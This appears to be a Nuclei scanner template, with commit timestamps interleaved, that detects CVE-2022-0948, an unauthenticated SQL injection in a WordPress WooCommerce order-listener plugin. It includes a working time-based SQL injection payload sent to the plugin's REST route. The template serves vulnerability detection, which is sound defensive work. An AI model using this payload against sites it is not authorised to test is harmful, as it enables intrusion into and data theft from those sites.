2022-12-03 11:04:00 +00:00
id : CVE-2022-0948
info :
2023-01-16 17:41:15 +00:00
name : WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
2022-12-03 11:04:00 +00:00
author : theamanrawat
severity : critical
description : |
2023-01-16 17:41:15 +00:00
WordPress Order Listener for WooCommerce plugin before 3.2.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2022-12-03 11:04:00 +00:00
reference :
- https://wpscan.com/vulnerability/daad48df-6a25-493f-9d1d-17b897462576
- https://wordpress.org/plugins/woc-order-alert/
2022-12-08 13:58:02 +00:00
- https://plugins.trac.wordpress.org/changeset/2707223
2023-01-16 17:41:15 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0948
2022-12-03 11:04:00 +00:00
classification :
2022-12-08 13:58:02 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-12-03 11:04:00 +00:00
cve-id : CVE-2022-0948
2022-12-08 13:58:02 +00:00
cwe-id : CWE-89
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:pluginbazaar:order_listener_for_woocommerce:*:*:*:*:*:*:*:*
epss-score : 0.03454
2022-12-03 11:04:00 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-06-04 08:13:42 +00:00
verified : true
2022-12-08 13:58:02 +00:00
tags : cve,wp,unauth,sqli,woc-order-alert,wpscan,cve2022,wordpress,wp-plugin
2022-12-03 11:04:00 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-03 11:04:00 +00:00
- raw :
- |
@timeout : 15s
POST /?rest_route=/olistener/new HTTP/1.1
Host : {{Hostname}}
content-type : application/json
{"id" : " (SLEEP(6))#" }
2022-12-05 11:53:26 +00:00
- |
GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1
Host : {{Hostname}}
2022-12-03 11:04:00 +00:00
req-condition : true
matchers :
- type : dsl
dsl :
2022-12-05 11:53:26 +00:00
- 'duration_1>=6'
- 'status_code_1 == 200'
- 'contains(content_type_1, "application/json")'
- 'contains(body_2, "olistener-action.olistener-controller")'
condition : and